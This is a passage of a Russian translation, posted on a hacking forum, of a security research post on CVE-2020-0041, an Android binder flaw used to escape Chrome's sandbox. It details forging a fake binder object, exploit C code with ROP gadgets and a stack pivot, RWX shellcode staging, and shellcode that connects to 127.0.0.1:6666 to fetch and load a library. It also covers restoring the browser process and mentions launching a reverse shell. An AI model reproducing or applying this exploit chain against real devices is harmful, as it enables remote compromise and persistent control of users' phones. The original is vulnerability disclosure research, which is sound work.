if (resultReceiver != nullptr) {
resultReceiver->send(INVALID_OPERATION);
}
return NO_ERROR;
}
/* ... */
}
}
Таким образом, в приведенном выше примере объект IResultReceiver будет указывать на контролируемые данные, если мы перезаписали его поле cookie ошибкой. Чтобы сделать это надежно, эксплоит выполняет следующие шаги:
1. Находит собственное отображение binder и дескриптор файла binder. Затем они используются для определения максимального размера транзакции, который мы можем отправить брокеру.
2. Вычисляет user_address как binder_mapping + MAPPING_SIZE -traction_size. Это адрес, с которого будет начинаться буфер принимаемой транзакции, при условии, что извлеченный максимальный размер транзакции соответствует свободному пространству в конце отображения binder процесса браузера.
3. Отправляет транзакцию, чтобы предварительно инициализировать значение out-of-bounds, которое будет использоваться в качестве смещения, когда мы вызовем ошибку.
4. Отправляет SHELL_COMMAND_TRANSACTION во время вызова ошибки. Это требует добавления нескольких объектов в транзакцию для достижения readStrongBindercalls:
* Три объекта дескриптора файла
* Количество аргументов, равное нулю (поэтому нет необходимости добавлять строки)
* Пустой binder как IShellCallback
* Дескриптор IParentProcess, который драйвер преобразует в объект binder. Здесь важно предоставить дескриптор, принадлежащий процессу браузера, так как в противном случае драйвер преобразует его в дескриптор вместо реального объекта.
* Поддельный объект PTR, не добавленный в транзакцию, который будет использоваться после появления ошибки.
* Законный объект PTR. Предварительно инициализированное смещение из шага 3 должно соответствовать смещению этого объекта в буфере транзакций.
* Второй объект PTR, родительское поле которого выходит за границы и указывает на предварительно инициализированное смещение, добавленное выше. Здесь мы используем буфер NULL, так что копирование не выполняется, но родительский объект за пределами границ принимается как действительный.
* Дополнительный PTR с тем же родителем, но на этот раз с буфером. Этот буфер заменит смещение за пределами границ, теперь он указывает на поддельный объект PTR вместо проверенного. Кроме того, родительский код исправления теперь будет записывать указатель на произвольное смещение от начала буфера, которое мы используем для изменения поля связующего узла IParentProcess.
* Окончательный PTR с новым буфером. Буфер будет скопирован, а его адрес будет записан в поле cookie родительским кодом исправления. Это означает, что буфер, который мы только что отправили, теперь будет интерпретироваться получающим кодом как объект IresultReceiver.[/QUOTE]
Обратите внимание, как мы добавили в транзакцию дополнительные объекты, которые фактически не анализируются классом BBinder, показанным выше.Однако это не является проблемой, поскольку код libbinder просто игнорирует дополнительные объекты, которые могут быть добавлены в транзакцию, если требуемые объекты присутствуют в ожидаемом порядке.
Таким образом, с этой настройкой мы получаем объект Binder, указывающий на контролируемые данные внутри самого отображения Binder.
От поддельного объекта до исполнения шеллкода
Поддельный объект преобразуется в объект IResultReceiver, который в конечном итоге вызывает выполнение значительного объема кода. Первое, что нам нужно убедиться, это то, что код может получить strong ссылку на объект.
В частности, объект RefBase используется для подсчета ссылок. Адрес этого объекта извлекается из первого слова нашего буфера. Затем указатель получается из экземпляра RefBase и счетчик ссылок увеличивается:
Код:
int __fastcall android::RefBase::incStrong(android::RefBase *this, const void *a2)
{
result = *((_DWORD *)this + 1); // [1]
v3 = (unsigned int *)(result + 4);
do
v4 = __ldrex(v3);
while ( __strex(v4 + 1, v3) );
do
v5 = __ldrex((unsigned int *)result);
while ( __strex(v5 + 1, (unsigned int *)result) );
if ( v5 == 0x10000000 )
{
do
v6 = __ldrex((unsigned int *)result);
while ( __strex(v6 - 0x10000000, (unsigned int *)result) );
result = (*(int (__fastcall **)(_DWORD))(**(_DWORD **)(result + 8) + 8))(*(_DWORD *)(result + 8)); // [2]
}
return result;
}
Указатель, разыменованный в [1], должен указывать на доступный для записи адрес, а его содержимое не должно быть специальным значением 0x10000000, чтобы избежать вызова в [2].
Первая часть проблематична, поскольку наш поддельный объект находится внутри binder отображения, которое всегда доступно только для чтения для пользовательского пространства. В нашем эксплоите мы установили этот указатель на временный буфер в сегменте данных libc. Мы можем сделать это, потому что мы уже предполагаем, что отображения целевого процесса очень похожи на наши собственные, поэтому мы можем просто взять наш собственный адрес libc.
После прохождения этого вызова incStrong код переходит к следующему косвенному вызову:
Код:
int __fastcall android::javaObjectForIBinder(int a1, android **myobj)
{
if ( !*myobj )
return 0;
if ( (*(int (__fastcall **)(android *, int *))(*(_DWORD *)*myobj + 32))(*myobj, &dword_153848) )
return *((_DWORD *)*myobj + 4);
Значение *myobj здесь совпадает со значением нашего поддельного объекта, поэтому мы в конечном итоге вызываем указатель на функцию из нашего поддельного объекта и передаем адрес поддельного объекта в качестве первого параметра. Таким образом, с помощью следующего кода мы получаем выполнение кода:
Код:
/*
* We use the address of the __sF symbol as temporary storage. From the source code,
* this symbol appears to be unused in the current bionic library.
*/
uint32_t utmp = (uint32_t)dlsym(handle, "__sF");
DO_LOG("[*] Temporary storage: %x\n", utmp);
...
DO_LOG("[*] fake_object_addr: %x\n", fake_object_addr);
uint64_t offset_ref_base = 0xd0;
fake_object[0] = fake_object_addr + offset_ref_base*sizeof(uint32_t) + 12;
...
/*
* This is a fake RefBase class, with a pointer to a writable area in libc.
* We need this because our object is located in the binder mapping and cannot
* be written to from usermode.
*
* The RefBase code will try to increment a refcount before we get control, so
* pointing it to an empty buffer is fine. The only thing we need to take care of
* is preventing it from being the special `initial value` of strong ref counts,
* because in this case the code will also do a virtual functionc all through this
* fake object.
*/
fake_object[offset_ref_base] = (offset_ref_base + 1)*sizeof(uint32_t); /* This is used as an offset from the base object*/
fake_object[offset_ref_base+1] = 0xdeadbeef; /* Unused */
fake_object[offset_ref_base+2] = (uint32_t)utmp; /* Writable address in libc */
/* Here comes the PC control. We point it to a stack pivot, and r0
* points to the beginning of our object (i.e to &fake_object[0]).
*/
fake_object[offset_ref_base +11] = gadgets[STACK_PIVOT].address;
utmp здесь - это адрес буфера в libc, который, кажется, используется, и это является частью доступного для записи отображения. Поскольку адрес libc для процесса рендеринга и процесса браузера идентичен, мы можем просто разрешить его в нашем собственном процессе. Точно так же мы разрешаем все гаджеты ROP по нашему собственному процессу.
Кроме того, поскольку адрес отображения binder также одинаков для обоих процессов, мы можем использовать его для вычисления адреса наших собственных данных в целевом процессе.
Поскольку поддельный объект также передается в качестве первого параметра, мы перемещаем стек в R0 с помощью гаджета ldm r0 !, {r2, r5, ip, sp, lr, pc} и запускаем цепочку ROP с начала объекта. Окончательная настройка выглядит следующим образом:
Однако тот факт, что отображение доступно только для чтения, делает невозможным вызов каких-либо функций, использующих стек. По этой причине наша цепочка ROP выполняет следующие шаги:
1. Используйте гаджет для сохранения r7 в буфер utmp. r7 содержит указатель на стек, когда наша цепочка ROP начинает выполняться, так что это позволяет нам позже установить для стека хорошее значение. Для этого мы используем следующий гаджет: str r7, [r0]; mov r0, r4; add sp, # 0xc; pop {r4, r5, r6, r7, pc}.
2. Используйте mmap для размещения страниц RWX по фиксированному адресу. Для этого мы используем следующий код из упаковщиков системных вызовов libc: svc 0; pop {r4-r7}; cmn r0, # 0x1000, bx lr.
3. Используйте несколько гаджетов ROP для копирования шелл-кода первого этапа в память RWX. В частности, мы используем str r1, [r0]; mov r0, lr; pop {r7, pc} для записи r1 по адресу, указанному r0 после извлечения этих регистров из стека.
- Перенесите стек в память RWX, вызовите cacheflush скопированного шеллкода и перейдите к нему. Мы используем гаджет pop {lr, pc} для подготовки адреса возврата для cacheflush и гаджет pop {r0, r1, ip, sp, pc} для поворота стека и вызова cacheflush.
Как только возвращается cacheflush, мы получаем выполнение шелл-кода и соответствующий стек чтения/записи. Чтобы уменьшить размер цепочки ROP, мы используем небольшой начальный шелл-код, который использует memcpy для копирования следующего этапа в память RWX, затем снова вызывает cacheflush и, наконец, переходит к нему.
Теперь, когда у нас есть неограниченное выполнение шеллкода, мы можем выполнить любое действие, требуемое для нашего эксплоита, а затем исправить процесс Chrome, чтобы пользователь мог спокойно продолжить просмотр.
Продление процесса
Чтобы добиться продолжения процесса, наш основной шеллкод подключается к 127.0.0.1:6666 и получает разделяемую библиотеку. Общая библиотека хранится как /data/data/<package_name>/test.so и загружается с использованием __loader_dlopen (https://android.googlesource.com/platform/bionic/+/refs/tags/android-10.0.0_r31/linker/dlfcn.cpp#153).
Символ __loader_dlopen в настоящее время разрешается эвристически с помощью кода, введенного для средства визуализации. Это необходимо, потому что dlopen по умолчанию предотвращает загрузку библиотек с нестандартных путей, поэтому мы следуем подходу, аналогичному(https://github.com/frida/frida-gum/...c60d5788/gum/backend-linux/gumandroid.c#L1517) подходу Frida (https://www.frida.re/).
После загрузки общего объекта шеллкод восстанавливает состояние процесса браузера.
Для этого мы используем один из кадров с более высоким стеком, который восстанавливает большинство регистров из стека. В частности, мы используем копии регистров, сохраненных art_quick_invoke_stub в libart.so:
Код:
.text:0042F7AA POP.W {R4-R11,PC}
.text:0042F7AE ; ---------------------------------------------------------------------------
.text:0042F7AE
.text:0042F7AE loc_42F7AE ; CODE XREF: art_quick_invoke_stub+106↑j
.text:0042F7AE BLX __stack_chk_fail
.text:0042F7AE ; End of function art_quick_invoke_stub
Код средства визуализации анализирует код сборки ArtMethod::Invoke и находит адрес возврата для вызова art_quick_invoke_stub. Затем шеллкод просматривает стек, чтобы найти соответствующий кадр стека и восстановить все регистры перед возвратом.
Однако, просто возвращение туда приводит позже к краху Art VM в других точках.
Чтобы это исправить, мы проанализировали места падения. Наблюдаемые нами сбои были связаны со сборкой мусора и происходили в следующем коде:
Код:
void Thread::HandleScopeVisitRoots(RootVisitor* visitor, pid_t thread_id) {
BufferedRootVisitor<kDefaultBufferedRootCount> buffered_visitor(
visitor, RootInfo(kRootNativeStack, thread_id));
for (BaseHandleScope* cur = tlsPtr_.top_handle_scope; cur; cur = cur->GetLink()) {
cur->VisitRoots(buffered_visitor);
}
}
Или на ассемблере:
Код:
PUSH.W {R4-R11,LR}
SUB.W SP, SP, #0x418
SUB SP, SP, #4
MOV R5, R1
LDR R1, =(__stack_chk_guard_ptr - 0x3AE4A6)
ADD R1, PC ; __stack_chk_guard_ptr
LDR.W R10, [R1] ; __stack_chk_guard
LDR.W R1, [R10]
LDR R3, =(_ZTVN3art8RootInfoE - 0x3AE4B8) ; `vtable for'art::RootInfo
STR.W R1, [SP,#0x440+var_28]
MOVS R1, #4
ADD R3, PC ; `vtable for'art::RootInfo
STR R1, [SP,#0x440+var_434]
ADD.W R1, R3, #8
STR R2, [SP,#0x440+var_430]
MOVS R2, #0
STR.W R2, [SP,#0x440+var_2C]
STRD.W R5, R1, [SP,#0x440+var_43C]
LDR.W R7, [R0,#0xDC] ; [1]
CMP R7, #0
BEQ loc_3AE582
В [1] мы видим, что смещение 0xDC от объекта Thread проверяется на нуль. В точке, куда мы возвращаемся, r6 указывает на текущий объект Thread.
Поэтому наш шелл-код получает текущее значение Thread * из восстановленных регистров и очищает это поле перед продолжением.
Финальная часть восстановления шеллкода выглядит следующим образом:
Код:
return:
# Get and fix sp up. Point to stack frame containing r4-r10 and pc.
ldr r3, smem
ldr sp, [r3]
ldr r3, retoff
search:
# Load 'lr' if there
ldr r0, [sp, #0x20]
cmp r0, r3
addne sp, sp, #4
bne search
done:
# Pop all registers
pop {r4-r11, lr}
# Clear thread top_handle_scope
mov r0, #0
str r0, [r6, #0xdc]
bx lr
При этом процесс браузера продолжает работать чисто после загрузки нашего общего объекта.
Таким образом, общий объект может выполнять любые дополнительные действия, такие как запуск фонового потока или разветвление и запуск обратной оболочки.
Демонстрационное видео
В следующем видео показан процесс компрометации браузера Chrome на уязвимом Pixel 3 с уровнем исправления от февраля 2020 года. В левом верхнем углу вы видите рут шелл на целевом устройстве, которую мы используем, чтобы внедрить наш эксплоит в процесс рендеринга. В левом нижнем углу вы видите вывод нашего эксплоита через logcat.
Справа вы видите дисплей целевого устройства, где мы показываем настройки цели и запускаем Chrome. После запуска Chrome мы вводим шеллкод, используя рут шелл, и почти сразу получаем реверс шелл в правой верхней части экрана.
Как вы можете видеть, оболочка работает в контексте процесса браузера и поэтому вышла из песочницы.
Код и следующие шаги
Вы можете найти код для эксплоита, описанного в этом посте, в GitHub Blue Frost Security. Мы предоставляем код в виде набора исправлений для Chromium 78.0.3904.62 только для демонстрационных целей.
В следующем посте мы обсудим, как атаковать обработку, выполняемую ядром, чтобы добиться повышения привилегий до рута с помощью той же самой ошибки.
Источник: https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
Последнее редактирование модератором: